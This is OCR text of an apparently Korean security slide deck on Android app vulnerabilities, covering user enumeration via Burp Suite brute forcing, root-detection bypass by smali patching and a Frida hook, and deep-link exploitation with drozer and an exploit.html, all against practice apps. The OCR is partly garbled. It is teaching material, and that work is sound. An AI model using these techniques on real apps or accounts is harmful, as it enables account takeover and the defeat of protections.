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Top 7 Vulnerabilities In
Android Applications 2020

Binary Protection
Insufficient Transport Layer Protection

3. Insufficient Authorization/Authentication

4. Cryptography Improper Certificate Validation
\ 5. Brute Force User Enumeration

6. Insufficient Session Expiration

7. Information Leakage Application Cache
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THE APPLICATION SECURITY COMPANY

UserEnumeration

FLAG SEVEN - SQLITE
DeepLinkExample
FLAG EIGHT - AWS

Muahahah! | have locked DeepLinkActivity now. In order to open
DeepLinkActivity, you'll have to check manifest file for my schema and use FLAG NINE - FIREBASE
it to exploit poor implementation of DeepLinkActivity

FLAG TEN - UNICODE

FLAG ELEVEN - DEEP LINKS
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== |nsecureBankv2

Bl test
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Invalid Credentials!!

Autofill Credentials
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3. Brute Force User Enumeration — &M 1}H DoLogin — El0JE| Hg 21

ueIWantToSend) throws ClientProtocolException, IOException, JSONException, InvalidKeyException, No

HttpResponse responseBody;

HttpClient httpclient = nev DefaultHttpClient();

HttpPost httppost = new HiftpPost(DoLogin.this.protocol + DolLogin.this.serverip +
HttpPost httppost2 = new HEtpPost(DolLogin.this.protocol + DolLogin.this.serverip +

+ DoLogin.this.serverport 4 "/login”);
+ DoLogin.this.serverport |+ "/devlogin'|

List<NameValuePair> nameValuePairs = new ArraylList<>(2);
nameValuePairs.add(new BasicNameValuePair("username”, DolLogin.this.username));
nameValuePairs.add(new BasicNameValuePair("password”, DolLogin.this.password));
if (DoLogin.this.username.equals("devadmin™)) {

httppost2.setEntity(new UrlEncodedFormEntity(nameValuePairs));

responseBody = httpclient.execute(httppost2);
; else {

httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

responseBody = httpclient.execute(httppost);

¥
InputStream in = responseBody.getEntity().getContent();

DoLogin.this.result = convertStreamToString(in);
DoLogin.this.result = DolLogin.this.result.replace("\n", "");
if (DoLogin.this.result == null) {

return;
¥
if (DoLogin.this.result.indexOf("Correct Credentials") != -1) {
Log.d("Successful Login:", ", account=" + DolLogin.this.username + ":" + DolLogin.this.password);
saveCreds(DoLogin.this.username, DolLogin.this.password);
trackUserLogins();
Intent pL = new Intent(DolLogin.this.getApplicationContext(),|PostLogin.class);
pL.putExtra("uname”, DoLogin.this.username);
DoLogin.this.startActivity(pL);
return;
¥

DoLogin.this.startActivity(new Intent(DoLogin.this.getApplicationContext(),|WronglLogin.class]);




3. Brute Force User Enumeration — &AM n}H WrongLogin Code

public class WronglLogin extends Activity {

/* access modifiers changed from: protected */

public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity wrong_
Toast.makeText(getApplication
startActivity(new Intent(this
finish();

edentials!!"} 1).show();

LoginActivity.class));
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= L

a- -
Request Response

Pretty BREUTE #n  Actions Vv G Raw Render #n  Actions Vv

1 POST /login HTTP/1.1 | HTTP/1.1 200 0K

2 Content-Length: 26 2 Content-Type: text/html: charset=utf-8

3 Content-Type: application/x-www-form-urlencoded 3 Content-Length: 50

4 Host: 121.175.225.149:8888 4 Connection: close

5 Connection: close 5 Date: Thu, 27 May 2021 14:42:34 GMT

£ User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) £ Server: localhost

7 7

g username=testé&password=123 g {"message": |"User Does not Exist"|, "user": "test"}




3. Brute Force User Enumeration — 2 1’y Burp Suite HTTP S41 20l

= L

= m
Request Response I
Pretty lGELE #n  Actions Vv 20 Raw Render #n  Actions Vv
| POST /login HTTP/1.1 I HTTP/1.1 200 OK
72 Content-Length: 28 2 Content-Type: text/html: charset=utf-8
3 Content-Type: application/x-www—form-urlencoded 3 Content-Length: 47
4 Host: 121.175.225.149:8888 4 Connection: close
5 Connection: close 5 Date: Thu, 27 May 2021 14:45:33 GMT
6 User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) £ Server: localhost
7 7

8 username=dineshikpassword=123 8 {"message": |'"Wrong Password'|, "user": "dinesh"}




3. Brute Force User Enumeration — 2 1’y Burp Suite HTTP S41 20l

= L

-— |
Request Response —
Pretty IGENE #n  Actions Vv Wl Raw Render #n  Actions Vv
1 POST /login HTTP/1.1 | HTTP/1.1 200 0K
2 Content-Length: 36 2 Content-Type: text/html: charset=utf-8
3 Content-Type: application/x-www—form-urlencoded 3 Content-Length: 52
4 Host: 121.175.225.149:8888 4 Connection: close
5 Connection: close 5 Date: Thu, 27 May 2021 14:45:54 GMT
£ User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) £ Server: localhost
7 7

8 username=dinesh&password=Dinesh@123%| 8 {"message": |'"Correct Credentials'|, "user": "dinesh"}
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lapp. ("/login', methods=["POST'])
def login():
Responsemsg="fail”
user = request.form[ 'username’ ]
#ichecks for presence of user in the database #requires models.py
u User.query. ] (User.username == request.form["username”]).
print "u=",u
if u and u.password == reauest.form["”password”]:
Responsemsg="Correct Credentials”
elif u and u.password != request.form["password”]:
Responsemsg="Wrong Password”
elif not u:
Responsemsg="User Does not Exist"”
else: Responsemsg="Some Error”
data = {"message” : Responsemsg, "user”:
print ' (dataj
return n(data)

(' /devlogin', methods=["'POST'|)
gin():
user=request.form|[ 'username’ ]
Responsemsg="Correct Credentials”
data {"message” : Responsemsg, "user”:
print ’ (data)
return (data)
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UserEnumeration

A-EAt OIO|C|E YHIMIR
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public void onClick(View view) {
if (view.getId() == R.id.login_check) {

this.input_id = this.user_id.getText().toString();

this.input_pw = this.user_pw.getText().toString();

if (this.db_id.equals(this.input_id) && this.db_pw.equals(this.input_pw)) {
this.layout_main.setBackgroundColor(-16711936);

Toast.makeText(this, "Z21°%21 HZ1", @).show();

} else if (!this.db_id.equals(this.input_id) || this.db_pw.equals(this.input_pw)) {
this.layout_main.setBackgroundColor(SupportMenu.CATEGORY_MASK);
Toast.makeText(this, "ZIHGHA ZE= AIZZLICH", @).show();

; else {
this.layout_main.setBackgroundColor(SupportMenu.CATEGORY_MASK) ;
Toast.makeText(this, "H|ZHZ2t ETSLICH", @).show();
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0 200 n (] 204
1 test 200 J ] 204
2 root 200 L | 204
Payload Options [Simple list] & admin 0 |:] |:| =05
4 insecurebank 200 UJ 212
This payload type lets you configure a simple list of strings that are used as payloads. 5 jack 200 OJ ] 199
6 1234 200 OJ ] 204
Paste | |test 7 good 200 O (] 204
root 8 codeengn 200 OJ | 208
Load ... ) ) - -
admin 9 dinesh 200 L L) 20
insecurebank > - 10 korea 200 O ] 205
e
1234 Request Response
good ;
Pretty v
an (W'l Raw Render #n  Actions

I HTTP/1.1 200 0K

2 Content-Type: text/html: charset=utf-8
Add from list ... [Pro version only] d Content-Length: 50

4 Connection: close

5 Date: Tue, 01 Jun 2021 06:55:27 GMT

6 Server: localhost

-

g {"message": |'User Does not Exist", "user": "root"

,_\
—

Add | Enter & new item
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0 200 O (] 204 0 200 O (] 204
1 test 200 ] (] 204 1 test 200 O (] 204
2 root 200 OJ (] 204 2 root 200 O (] 204
3 admin 200 O (] 205 3 admin 200 O (] 205
4 insecurebank 200 ] (] 212 4 insecurebank 200 J L] 212
5 jack 200 a 199 5 jack 200 O 1199
6 1234 200 B (] 204 6 1234 200 U (] 204
7 good 200 OJ (] 204 7 good 200 O (] 204
8 codeengn 200 O | 208 8 codeengn 200 O | 208
9 dinesh 200 O 20 9 dinesh 200 | 201
10 korea 200 O ] 205 10 korea 200 O (] 205

Request Response Request Response

Wl Raw Render #n  Actions VvV MG Raw Render #n  Actions Vv

I HTTP/1.1 200 OK I HTTP/1.1 200 0K

2 Content-Type: text/html: charset=utf-8 2 Content-Type: text/html: charset=utf-8

3 Content-Length: 45 3 Content-Length: 47

4 Connection: close 4 Connection: close

5 Date: Tue, 01 Jun 2021 06:55:29 GMT 5 Date: Tue, 01 Jun 2021 06:55:31 GMT

6 Server: localhost 6 Server: localhost

7 7

5 {"message": |"Wrong Password", "user": "jack"} 5 {"message": ['Wrong Password", "user": "dinesh"}
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Pretty IiENl #n  Actions vV

1 POST /changepassword HTTP/1.1

2 Content-Length: 45

3 Content-Type: application/x-www-form-urlencoded
4 Host: 121.175.200.140:8888

ChangePassword

5 Connection: close & .
B User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) = devadmin

7 preity IEERE ®n  Actions Vv

8 username=devadmin&newpassword*Change%Zm23%21| | POST /changepassword HTTP/1.1 — ChangePassword

Z Content-Length: 45

3 Content-Type: application/x-www-form-urlencoded
PP 4 Host: 121.175.200.140:8888
5 Connection: close

al. "= devadmin

Change Password Successful. Restart application to G,

Continue.

Pret

1 F

2(C o

3 Content-Type: application/x-www—form-urlencoded
4 Host: 1.175.200.140:8888

5 ConnectNon: close - :
B User-Agelt: Apache-HttpClient/UNAVAILABLE (java 1.4) = devadmin

8 usernamenewpasswor d=Change%23123%21

B crrrrerene
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id username password  first_name  last_name
ZIE = =E
dinesh shetty

jack apples
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4. Binary Protection (Rooting Detection and Bypass) — 24 1}H

== PostLogin

Transfer

View Statement

Change Password

Rooted Device!!
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4. Binary Protection (Rooting Detection and Bypass) — M 13

com.android.insecurebankv2.PostLogin J{

43 public void onCreate(Bundle bundle) {
44 super.onCreate(bundle);
45 setContentView(R.layout.activity_post_login);
47 this.uname = getIntent().getStringExtra("uname");
49 this.root_status = (TextView) findViewById(R.id.rootStatus);
51 Ishowﬁoots?atus();l
53 checkEmulatorStatus();
55 this.transfer_button = (Button) findViewById(R.id.trf_butteon);
68 this.transfer_button.setOnClickListener(new View.OnClickListener() {
63 public void onClick(View view) {
65 PostLogin.this.startActivity(new Intent(PostLogin.this.getAppl:
¥
75
68 this.statement_button = (Button) findviewById(R.id.viewStatement_buttor
69 this.statement_button.setOnClickListener(new View.OnClickListener() {
73 public void onClick(View view) {
74 PostLogin.this.viewStatment();
1

public voidlhouRaotSiazal
if (HoesSuperuserApkExist("/system/app/Superuser.apk”) || doesSUexist() || route_check(
his.root_status.setlext( Rooted Device!l );
} else {
this.root_status.setText("Device not Rooted!!"™);

e
-

¥




&l EfX| — su, Superuser

4. Binary Protection (Rooting Detection and Bypass) — M 13

private boolean|doesSUexist() {
Process process = nullj
try {
lProcess exec = Runtime.getRuntime().exec(new String[1{"/system/bin/which", "su"});|
if (new BufferedReader(new InputStreamReader(exec.getInputStream())).readLine() != null) {
if (exec != null) {
exec.destroy();

¥
return true;
¥
if (exec != null) {
exec.destroy();
¥

return false;
} catch (Throwable th) {
if (process != null) {
process.destroy();

¥
throw th;

private boolean |doesSuperuserApkExist(String str) {
return Boolean.valueOf(new File("/system/app/Superuser.apk”).exists()).booleanValue();

¥




o 4 Binary Protection (Rooting Detection and Bypass) — =4 1}’

private static booleanlrcute_check(d"
for (String file : new String| |{ '/system/app/Superuser.apk”, "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/l«
if (new File(file).exists()) {
return true;

return false;

g C:'#
tilize —frame—path if the default sto
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4. Binary Protection (Rooting Detection and Bypass) — =

LUIL  STITULUUIE  1HIU VITW  UULU DU FIUTULL FITISITIAGS LISy

PostLogin.smali

:catch_o
nop

if-eqz v1, :cond 4

.line 139
invoke-virtual {v1}, Ljava/lang/Process;->destroy()V

:cond 4
return vo
.end method

.method private doesSuperuserApkExist(Ljava/lang/String;)Z
.locals 1

.line 146
new-instance pl, Ljava/io/File;

const-string vo, "/system/app/Superuseﬂ.apk"
invoke-direct {pl1, v@}, Ljava/io/File;-><init>(Ljava/lang/String;)V

.line 147
invoke-virtual {pl}, Ljava/io/File;->exists()Z

move-result pl
invoke-static {p1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean

move-result-object pl

PostLogin.smali

:catch 0
nop

if-eqz vl, :cond 4

.line 139
invoke-virtual {v1}, Ljava/lang/Process;->destroy()V

:cond 4
return vo

.end method

.method private doesSuperuserApkExist(Ljava/lang/String;)Z
.locals 1

.line 146
new-instance pl, Ljava/io/File;

const-string vo, "/system/app/SuperarresterPser.apk"

invoke-direct {pl1, v@}, Ljava/io/File;-><init>(Ljava/lang/St
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4. Binary Protection (Rooting Detection and Bypass) — 2 #}H

const-string v4, ["su

const-string vl, "/sbin/|su"”
const/4 v3, 0ox1

aput-object vl1, vO, v3

const-string vl, “/system/bin/su"
const/4 va, 0x2 ‘ const-string v4, suarrester‘I

aput-object vl1, vo, v4

const-string vl, “/system/xbin/su"
const/4 v4, 0x3

aput-object v1, vo, v4

const-string vl, “/data/local/xbin/su"
const/4 v4, 0ox4

aput-object v1, vo, v4

const-string v1, "/data/local/bin/su"




le directory and framew could go missing, ¢ uti = = directory is unavailable

java —jar signapk.jar t 09.pem te @ InsecureBank_route_repac
k.apk InsecureBank_route_sign.apk

== PostLogin

Transfer

View Statement

Change Password

Device not Rooted!!
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4. Binary Protection (Rooting Detection and Bypass) — =

private boolean doesSUexist() {
Process process = null;
! "suarresteri});

try {
Process exec = Runtime.getRuntime().exec(new String[]{"/system/bin/which",
if (new BufferedReader(new InputStreamReader(exec.getInputStream())).readlLine() != null) {

if (exec != null) {
exec.destroy();

¥

return true;
¥
if (exec != null) {
exec.destroy();
¥
return false;
} catch (Throwable th) {
if (process != null) {
process.destroy();

}
throw th;

¥
private boolean doesSuperuserApkExist(String str) I
Superarresteruser.apk']).exists()).booleanValue();

return Boolean.valueOf(new File("/system/app

¥

private static boolean route_check(
for (String file : new String[]4
if (new File(file).exists()) {
return true;

L
"/system/app/Superarresteruser.apk”, "/sbin/suarrester”, "/system/bin/suarrester”,

¥
¥

return false;
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4. Binary Protection (Rooting Detection and Bypass) — 24 1}H

Root detected!

This is unacceptable. The app is now going to exit.

OK

—)

public class MainActivity extends Activity {
private void a(String str) {
AlertDialog create = new AlertDialog.Builder(this).create();
create.setTitle(str);
create.setMessage("This is unacceptable. The app is now geing to exit.")ﬂ
create.setButtoﬁ(-B, "OK", new Bialogfnterface.OnclickListener() 1
public void onClick(DialogInterface dialeogInterface, int i) {
System.exit(@);

}
})s
create.setCancelable(false);
create.show();

}

/* access modifiers changed from: protected */

public void onCreate(Bundle bundle) {
if (c.a() || c.b() [| c.c()) {

a("Root detected!");

1

J

if (b.a(getApplicationContext())) {
a("App is debuggable!");

1

J

super.onCreate(bundle);

setContentView(R.layout.activity main);

(S
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4. Binary Protection (Rooting Detection and Bypass) — =

public class[c]{
public static boolean a() {
for (String file : System.getenv("PATH").split(":")) {
if (new File(file, "su"’.exists()) {
return true;

¥
¥

return false;

¥

public static boolean b() {
String str = Build.TAGS;

return str != null &2 str.contains( H

¥

public static boolean c() {
for (String file : new String[]ﬂ"/system/app/Superuser.apk", "/system/xbin/daemonsu”, "/system/etc/init.d/99SuperSUDaemon™
if (new File(file).exists()) {
return true;

¥
¥

return false;




Frida hooking

o 4 Binary Protection (Rooting Detection and Bypass) — =4 1}’

setImmediate(function() {

Java.perform(function() {
var exit bypass = Java.use("java.lang.System");

exit bypass.exit.implementation = function(arg) {
console.log("\n[*] Exit Bypass Success");

¥

frida -lJ -1 Uncrackablel.js owasp.mstg¢

Frida 12.6.11 = A wo e Uncrackable1

VERIFY
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1. URI Schema
2. App Link (Android)
3. Universal Link (iOS)

URI Schema = Schema://Path




URI Schema

5. Insufficient Transport Layer & Authentication (DeepLink) — 2 1}H

<activity android:name=".MainActivity"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category
android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category
android:name="android.intent.category.BROWSABLE" />
<category
android:name="android.intent.category.DEFAULT" />
<data android:schema="deeplink" android:host="test"/>
</intent-filter>
</activity>

HIAI

o
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5. Insufficient Transport Layer & Authentication (DeepLink) — 24 1P

DeepLinkExample

Muahahah! | have locked DeepLinkActivity now. In order to open
DeepLinkActivity, you'll have to check manifest file for my schema and use
it to exploit poor implementation of DeepLinkActivity

AndroidManifest.xml J{

<?xml version="1.8" encoding="utf-8"?>
2 [<manifest xmlns:android="http://schemas.android.com/apk/res/android” android:versionCode="1" andrecid:versionName="1.0" a
7 <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="30"/>
11 <application android:theme="@style/Theme.DeepLinkExample"” android:label="@string/app_name" android:icon="@mipmap/ic_
2 <activity android:name="in.harshitrajpal.deeplinkexample.MainActivity">
11 <intent-filter>
12 <action android:name="android.intent.action.MAIN"/>
14 <category android:name="android.intent.category.LAUNCHER"/>
1 </intent-filter>
9 </activity>
17 <activity android:label="@string/deeplinkname” android:name="in.harshitrajpal.deeplinkexamplelDeepLinkActivityP)
2] <intent-filter>
i1 <action android:name="andreid.intent.action.VIEW"/>
i3 <category android:name="android.intent.category.DEFAULT"/>
4 <category android:name="android.intent.category.BROWSABLE"/>
6 | <data android:scheme="noob"/>|
37 </intent-filter> tools:ignore=&quot;MissingClass&quot; /&gt;\1e@ android:theme=&quot;@style/AppThe
7 </activity>
11 </application>
2 [</manifest>

LAUNCH DEEPLINKACTIVITY




dz>

run app.activity.start ——component

in.harshitrajpal .deepl inkexample

in.harshitraipal .deeplinkexample.Ueepl inkActivit

First number 1

Second number 5
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5. Insufficient Transport Layer & Authentication (DeepLink) — 24 1P

_ [ GRATZ!
——action android. intent.action.V¥IEW ——data-uri|noob://

CONGRATULATIONS BUDDY! Learn more on hackingarticles.in

First number 10

Second number 50

ADD

EXIT




5. Insufficient Transport Layer & Authentication (DeepLink) — = 178

exploit.htmi

href="noob://hello.com/yolo?=auth&session=exampleKey">click here to exploit:

python —m http.server ol
Serving HTTP on @ port U (htte:// /L 10/ ) ...

”~

click here to exploit




5. Insufficient Transport Layer & Authentication (DeepLink) — 24 1P

GRATZ!

CONGRATULATIONS BUDDY! Learn more on hackingarticles.in

First number 10

Second number 50

—)

ADD

EXIT
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5. Insufficient Transport Layer & Authentication (DeepLink) — 24 1P

FLAG SEVEN - SQLITE

FLAG EIGHT - AWS

..... S A e A S e S e e e = et RN e A Mm A VA n) W W mmw_ e W e et aitw

FLAG NINE - FIREBASE :tivity android:name="b3nac.injuredandroid.QXV@aA" android:exported="true"/>
:tivity android:theme="@style/AppTheme.NoActionBar"” android:label="@string/title_activity flag_ twelve_protected”
:tivity android:label="@string/title_activity deep link" android:name="b3nac.injuredandroid [DeepLinkActivity]>

<intent-filter android:label="filter_view_flagll">

FLAG TEN - UNICODE
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>

FLAG ELEVEN - DEEP LINKS <category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="flagll"/>

</intent-filter>

<intent-filter android:label="filter_view_flagll">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"/>

</intent-filter>

FLAG TWELVE - PROTECTED COMPONENTS
FLAG THIRTEEN - RCE
FLAG FOURTEEN - FLUTTER XSS
FLAG FIFTEEN - ASSEMBLY

FLAG SIXTEEN - CSP BYPASS

FLAG Exploit the schema! fYPASS
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@) 5 Insufficient Transport Layer & Authentication (DeepLink) — 2 1}d

dz> run app.activity.start ——component b3nac.injuredandroid b3nac. injuredandroid.Deepl inkAct ivity

BN TF ZEX=E - drozerbat console connect

dz> run app.activity.start ——action android. intent.action.VIEW ——data-uri|flagll://

I SUBMIT

I SUBMIT
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exploit.html

href="flagll://hello.com/yolo?=auth&session=exampleKey">click here to exploit
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@ Kunal Pandey (kunal9d) 3213 - 413 8lst 18.61 89th
Reputation ~Rank  Signal  Percentile  Impact  Percentile
198 Periscope android app deeplink leads to CSRF in follow action Share:
State @ Resolved (Closed) Severity Low (0.1 ~ 3.9)
Disclosed  February 22, 2020 6:10am +0900 Participants (@) e
Reportedto  Twitter Visibility ~ Disclosed (Full)

Reported at  May 19, 2019 12:49am +0900

*.pscp.tv
Asset P p,
(Domain)

CVEID
Weakness  Cross-Site Request Forgery (CSRF)
Bounty $1,540

Collapse

TIMELINE
@ kunal94 submitted a report to Twitter.
Hello Twitter Team

Summary

May 19th (2 years ago)

This issue is mainly in the Periscope Android app against CSRF follow action using deeplink.

Description

In normal Periscope Website, when we share a follow link like wwav.pscp.tv/<user-id>/follow , we getaresponse whether
to follow a person or not, giving us an option, means CSRF protection is there in Periscope web application.

However, in the Periscope Android App, there are some internal deep links by which we can perform Direct CSRF in terms
of the following user using internal deeplinks.

https://hackerone.com/reports/583987
(EX: hackerone)

&« > C O ® F9 Q% | poc.bughunting.net/comhpapp/

Click
PoC 2 - M3lHE, QX AHE __ AKX - AlugX} XL HE £ @&

o4
P HE T, 010, SENO3

https://ufo.stealien.com/r&d/2020/06/19/Deeplink.html
(EX: STEALIEN)



https://hackerone.com/reports/583987
https://ufo.stealien.com/r&d/2020/06/19/Deeplink.html

getQueryParameter &t &

]

3. URI mtA5t= AL getHost, substring, split?t 22 g4 ZE 2 24
£

85101 Aol ol El 2Ix} 3 mhd

4. Javascript Interface 5| €X

5. ool A 23| Yx| (=oel 2|2E BE x[F Q)
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—
android_issue_2020

-

./
BRUTE FORCE USERENUMERATION

ROOT DETECTION BYPASS
e \
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.getText().toString()
.getText().toString()

.equals( ) && .equals( )) {

Toast.makeText(UserEnumerationActivity.
Intent mydata intent = Intent (UserEnumerationActivity.
mydata intent.putExtra( )
startActivity(mydata intent)

( .equals( ) && ! .equals(
Toast.makeText(UserEnumerationActivity.

.equals( ) && .equals(

Toast.makeText(UserEnumerationActivity.
Intent mydata intent = Intent (UserEnumerationActivity.
mydata intent.putExtra( )
startActivity(mydata intent)

( .equals( ) && ! .equals(
Toast.makeText(UserEnumerationActivity.

.equals( ) && .equals(

Toast.makeText(UserEnumerationActivity.
Intent mydata intent = Intent (UserEnumerationActivity.
mydata intent.putExtra( )
startActivity(mydata intent)

( .equals( ) && ! .equals(
Toast.makeText(UserEnumerationActivity.

{

Toast.makeText(UserEnumerationActivity.

Toast. ) .show()
MydataActivity. )

Toast. ) .show()
MydataActivity. )

Toast. ) .show()
MydataActivity. )

AHSXF LA - siA =T
UserEnumerationActivity.java

android_issue_2020

user password




O ;. 3[oHH E|AE N I — User Enumeration AE 27 - 3y 2

MydataActivity.java

= getIntent().getStringExtra/(

.setText ( ) User ID: arrester

DocumentReference docRef = .collection( ) .document (
docRef .addSnapshotListener ( EventListener<DocumentSnapshot>() {
LOEREICE User PW: demon
onEvent (€Nullable DocumentSnapshot value, @Nullable FirebaseFirestoreException error) {
(error != ) {
Log.w( error)

(value != && value.exists()) {
Map<String, Object> shot = value.getData()
String.valueOf(value.get( ))
String.valueOf(value.get( ))
= String.valueOf(value.get ))

String.valueOf(value.get(

String.valueOf(value.get(

= String.valueOf(value.get(
DATA UPDATE

String.valueOf(value.get(

String.valueOf(value.get(

= String.valueOf(value.get(

Update Success
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RootingDetectionBypassActivity.java
Runtime.getRuntime() .exec (

finish()

android_issue_2020
.setEnabled(
( Exception e) {

checkRootingFiles(createFiles(

== ) A

finish()
.setEnabled(

MESSAGE CHECK
}
}

Log.d(

(sub_check() =

finish()
.setEnabled(
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sub check() {

String buildTags = android.os.Build.
buildTags != && buildTags.contains(

File[] createFiles(String[] sfiles){

File[] rootingFiles = File[sfiles.

( i= i < sfiles. i++){

rootingFiles[i] = File(sfiles[i])

rootingFiles

checkRootingFiles(File... file){

result =

(File £ : file){
(f != && f.exists() && f.isFile()){

result

android_issue_2020 (0|)7} £ KA HetS 243
gt

Zo|: 20| 3} LBl 57H8 =2A/DHIR.

* android_issue_2020

result
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DeepLinkActivity.java

<activity :name
<intent-filter>
<category
:name
<category
:name

<action
:name

<data
thost
:scheme
</intent-filter>
</activity>

Intent intent = getIntent()
String action = intent.getAction()
Uri data = intent.getData()
(Intent. .equalsIgnoreCase(action) && data !=

AHIATEHE

.getQuery()
.setWebViewClient ( WebViewClient ())
.setWebChromeClient ( WebChromeClient())
.loadData ( )
.getSettings().setJavaScriptEnabled(
.setText ( )

Xss test
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https://github.com/arrester/android_issue_2020
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